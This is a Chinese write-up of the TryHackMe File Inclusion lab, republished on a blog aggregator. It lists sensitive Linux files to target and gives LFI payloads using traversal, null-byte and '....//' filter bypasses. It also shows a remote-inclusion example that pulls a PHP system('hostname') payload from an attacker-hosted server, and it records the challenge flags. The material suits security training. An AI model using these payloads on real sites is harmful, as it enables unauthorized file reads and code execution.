TryHackMe-File Inclusion练习

news2024/11/18 19:47:54

本文相关的TryHackMe实验房间链接:TryHackMe | Why Subscribe

路径遍历(目录遍历)

LocationDescription
/etc/issue包含要在登录提示之前打印的消息或系统标识。
/etc/profile控制系统范围的默认变量,例如导出(Export)变量、文件创建掩码 (umask)、终端类型、用于指示新邮件何时到达的邮件消息
/proc/version指定 Linux 内核的版本
/etc/passwd包含有权访问系统的所有注册用户信息
/etc/shadow包含系统用户密码的信息
/root/.bash_history包含 root 用户的历史命令
/var/log/dmessage包含全局系统消息,包括系统启动期间记录的消息
/var/mail/rootroot 用户的所有电子邮件
/root/.ssh/id_rsa服务器上的root 用户或任何已知有效用户的 SSH 私钥
/var/log/apache2/access.logApache web服务器的访问请求
C:\boot.ini包含具有 BIOS 固件的计算机的引导选项

本地文件包含

?file=../../../../etc/passwd

通过在过滤关键字的末尾使用空字节 %00 或使用访问当前目录技巧/.

相关payload可参考以下内容:

?file=/etc/passwd%00
?file=/etc/passwd/.

%00 技巧已修复,不适用于 PHP 5.3.4 及更高版本。

为了更清楚地理解访问当前目录技巧/.,我们可以查看以下例子:如果我们在文件系统中使用cd ..,我们将切换到上一级目录;如果我们使用的是cd.,我们仍然将停留在当前目录。

因此,当我们输入/etc/passwd/..时,我们将切换目录到/etc/,然后当我们输入/etc/passwd/.时,将停留在当前目录/etc/passwd(因为.指代的就是当前工作目录,所以并不会进行目录切换操作)。

../关键字被过滤

当我们输入http://webapp.thm/index.php?lang=../../../../etc/passwd时,如果收到如下错误提示:

Warning: include(languages/etc/passwd): failed to open stream: No such file or directory in /var/www/html/THM-5/index.php on line 15

这说明:../关键字被过滤了,当我们检查 include (language/etc/passwd)部分中的警告消息时,我们可以发现web应用程序使用空的字符串内容替代了../

我们可以使用一些技术来绕过上述过滤的限制,尝试使用以下payload:

?file=....//....//....//....//....//etc/passwd

这种方式被称为“双写绕过”。

双写绕过生效原因:PHP 过滤器仅匹配并替换它找到的第一个子集字符串 ../并且不做再次过滤,所以当双写绕过执行成功时,将留下下图所示的内容。

image

强制include函数从已定义的目录中读取目标文件

例如,如果 Web 应用程序要求用户提供一个必须包含指定目录的输入:http://webapp.thm/index.php?lang=languages/EN.php

为了成功利用此类情况下的文件包含漏洞,我们可以尝试在payload中包含指定目录,即:

?file=languages/../../../../../etc/passwd

远程文件包含

假设攻击者在自己的服务器上托管了一个 PHP 文件 http://attacker.thm/cmd.txt 其中 cmd.txt 包含一条打印消息 Hello THM。

<?PHP echo "Hello THM"; ?>

首先,攻击者注入恶意 URL,该 URL 指向攻击者的服务器,例如 http://webapp.thm/index.php?lang=http://attacker.thm/cmd.txt。如果没有输入验证,则恶意 URL 将传递到 include 函数中。接下来,Web 应用服务器将向恶意服务器发送 GET 请求以提取文件。因此,Web 应用程序将远程文件包含在 include 函数中,以在页面中执行 PHP 文件并将执行内容发送给攻击者。在我们的例子中,某处的当前页面必须显示 Hello THM 消息。

python3 -m http.server

 

挑战

Challenge-1

因为要POST上传,所以我们使用bp抓包上传吧

这里不知道为什么始终显示错误,所以就使用插件了

Max HacKBar(HackBar最新版要钱,可以去找旧版下载) 

这样的

POST传参 

 flag1:F1x3d-iNpu7-f0rrn

Challenge2 

这里显示要admin,而我们是Guest,所以我们要成为admin 

但Get和POST传参都不行

所以我们尝试继续修改cookie

 接下来我们用上面讲过的方法

../../../../etc/flag2%00

flag2:c00k13_i5_yuMmy1 

Challenge3

file=../../.././etc/flag3%00

这题get、post都可以,不过因为使用插件上传会进行url编码

所以只能抓包把%2500改为%00即可

 

flag:P0st_1s_w0rk1in9 

Challenge4

先将php代码写入cmd.txt

<?PHP 
echo system('hostname'); 
?>

 

python3 -m http.server 8080

http://10.10.109.26:8080/cmd.txt

flag:lfi-vm-thm-f8c5b1a78692 

答题:

 

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1428532.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

纯国产,3款黑科技软件,被误认为外国佬开发

闲话不多说&#xff0c;直接为大家推荐三款实用工具。 1、知犀思维导图 这款国产的思维导图工具&#xff0c;堪称业界的良心之选。它不仅能捕捉你每一个稍纵即逝的灵感&#xff0c;而且界面简洁、操作轻松。无论是团队协作、灵感记录、规划制定&#xff0c;还是日常笔记&…

jenkins添加linux节点

jenkins添加linux节点并创建任务_创建linux jenkins结点-CSDN博客文章浏览阅读1.1k次。jenkins添加linux节点并创建任务_创建linux jenkins结点https://blog.csdn.net/qq_32828053/article/details/128905581

加速知识检索:伯克利DeepMind联合研究,RaLMSpec让语言模型服务飞速提升2-7倍!

近年来&#xff0c;随着大型语言模型&#xff08;LLM&#xff09;的出现&#xff0c;在多样化的 NLP 任务上取得了令人瞩目的成果。然而&#xff0c;知识密集型任务仍是 NLP 领域中的一项挑战&#xff0c;因为这些任务不仅要求模型要理解和生成自然语言&#xff0c;还要能够访问…

【论文笔记】Multi-Chain Reasoning:对多思维链进行元推理

目录 写在前面1. 摘要2. 相关知识3. MCR方法3.1 生成推理链3.2 基于推理链的推理 4. 实验4.1 实验设置4.2 实验结果 5. 提及文献 写在前面 文章标题&#xff1a;Answering Questions by Meta-Reasoning over Multiple Chains of Thought论文链接&#xff1a;【1】代码链接&…

江科大stm32学习笔记11——旋转编码器计次

一、接线 旋转编码器&#xff0c;旋钮会不断接触断开触点产生电波。 由于两个电波之间相差90&#xff0c;即为正交波&#xff0c;一个电波处于高电平时另一个处于低电平&#xff0c;所以可以用来判断旋转方向。 二、代码 复制粘贴4-1的工程文件&#xff0c;重命名为“5-2 旋转…

Could not resolve host: github.com问题解决

git clone的时候发现机器无法解析github.com&#xff0c;其实应该改用ssh协议去clone&#xff0c;但是我用的是公用的机器&#xff0c;密钥对一直没配置好&#xff0c;所以也就堵死了。那么如果想让机器能解析github.com&#xff0c;&#xff08;机器本身没有ping命令&#xff…

深度学习入门笔记(五)前馈网络与反向传播

接着上一节,本节讲解模型自我学习的数学计算过程究竟是怎么样的。 5.1 前馈网络 一个最简单的前馈神经网络如图所示,对于每一个隐藏层,输入对应前一层每一个节点权重乘以节点输出值,输出则是经过激活函数(例如sigmoid函数)计算后的值。 在这样的网络中,输入的数据 x 经…

数据结构—基础知识(16):哈夫曼编码

数据结构—基础知识&#xff08;16&#xff09;&#xff1a;哈夫曼编码 哈夫曼编码的主要思想 在进行数据压缩时&#xff0c;为了使压缩后的数据文件尽可能短&#xff0c;可采用不定长编码。其基本思想是&#xff1a;为出现次数较多的字符编以较短的编码。为确保对数据文件进…

一、创建Vue3项目

1. 下载 node.js 下载地址&#xff1a;https://nodejs.org/zh-cn 优先选择 16 版本; node -v || node -version 可以检查本地 node.js 版本 2. 设置淘宝镜像源 npm config set registry https://registry.npmmirror.com/ 设置淘宝镜像源 npm config get registry 查看当前镜像…

【GitHub项目推荐--一款100% 开源的物联网开发平台,匹配智慧城市、智能家居和能源管理】【转载】

OpenRemote 一款100% 开源 - 集成您的设备、创建规则以及分析和可视化您的数据的物联网设备管理平台 github地址&#xff1a; https://github.com/openremote/openremote 国内源代码&#xff1a; http://www.gitpp.com/pythonking/openremote OpenRemote 的介绍 OpenRemo…

格式化内存卡后,如何找回丢失的监控视频?

随着摄像头的应用越来越广泛&#xff0c;很多监控摄像头采用了内存卡作为存储介质&#xff0c;方便用户存储和查看摄像头拍摄的视频文件。然而&#xff0c;由于各种原因&#xff0c;监控摄像头的内存卡有时会被意外格式化导致重要数据的丢失&#xff0c;给用户带来诸多困扰。 那…

因子图、边缘化与消元算法的抽丝剥茧 —— Notes for “Factor Graphs for Robot Perception“

Title: 因子图、边缘化与消元算法的抽丝剥茧 —— Notes for “Factor Graphs for Robot Perception” 文章目录 I. 前言II. 因子图的基本概念1. 因子图的定义2. SLAM 中的因子图A. 因子图的图示B. 因子图的因式C. 因子图的二分图形式 III. 边缘化与消元运算的基本原理1. 边缘化…

19. 删除链表的倒数第 N 个结点(力扣LeetCode)

文章目录 19. 删除链表的倒数第 N 个结点题目描述将删除倒数第n个节点转化为删除第n个节点双指针 19. 删除链表的倒数第 N 个结点 题目描述 给你一个链表&#xff0c;删除链表的倒数第 n 个结点&#xff0c;并且返回链表的头结点。 示例 1&#xff1a; 输入&#xff1a;hea…

LeetCode_17_中等_电话号码的字母组合

文章目录 1. 题目2. 思路及代码实现&#xff08;Python&#xff09;2.1 回溯 1. 题目 给定一个仅包含数字 2-9 的字符串&#xff0c;返回所有它能表示的字母组合。答案可以按 任意顺序 返回。 给出数字到字母的映射如下&#xff08;与电话按键相同&#xff09;。注意 1 不对应…

中国(合一)民营企业家高峰论坛暨2024精英校友会10周年庆在上饶举行!

1月29日下午&#xff0c;“中国&#xff08;合一&#xff09;民营企业家高峰论坛暨2024精英校友会10周年庆典”在上饶市饶商金茂诚悦酒店举行。出席会议的嘉宾有民建上饶市委会专职副主委方乾文、民建上饶市委会秘书长尹林、上饶市民营&#xff08;个私)经济协会会长傅利平、上…

大数据时代效率革新:数字化管理助力企业迈向全新高度-亿发

在大数据时代的浪潮中&#xff0c;数字化管理成为企业不可或缺的发展趋势。以信息技术为支撑&#xff0c;数字化管理为企业带来了前所未有的机遇和挑战。让我们一起探讨&#xff0c;在这个数字时代&#xff0c;数字化管理如何引领企业走向更加高效、智能的未来。 1. 数据驱动决…

【JAVA】ReentrantLock 显式锁定的类

ReentrantLock 是 Java 中用于进行显式锁定的类&#xff0c;它提供了与 synchronized 关键字类似的互斥性和可重入性&#xff0c;但相比于 synchronized&#xff0c;它提供了更灵活的锁定方式。下面对 ReentrantLock 进行详解&#xff1a; 一、ReentrantLock 是什么&#xff1…

基于JAVA+SpringBoot+Vue的前后端分离的医院管理系统

✌全网粉丝20W,csdn特邀作者、博客专家、CSDN新星计划导师、java领域优质创作者,博客之星、掘金/华为云/阿里云/InfoQ等平台优质作者、专注于Java技术领域和毕业项目实战✌ &#x1f345;文末获取项目下载方式&#x1f345; 一、项目背景介绍&#xff1a; 随着计算机科学的迅猛…

某赛通电子文档安全管理系统 UploadFileList 任意文件读取漏洞复现

0x01 产品简介 某赛通电子文档安全管理系统(简称:CDG)是一款电子文档安全加密软件,该系统利用驱动层透明加密技术,通过对电子文档的加密保护,防止内部员工泄密和外部人员非法窃取企业核心重要数据资产,对电子文档进行全生命周期防护,系统具有透明加密、主动加密、智能…

动态微信小程序码和开发者工具解析小程序码

一、动态生成微信小程序码 1、方式一 微信官方网站&#xff0c;对已发布的小程序&#xff0c;提供了一个快捷的入口&#xff0c;输入微信小程序的page页面即可。 page页面可以通过右侧开启入口获取 也可以通过开发者工具左下角的页面地址和参数地址那里获取到 二、生成的小…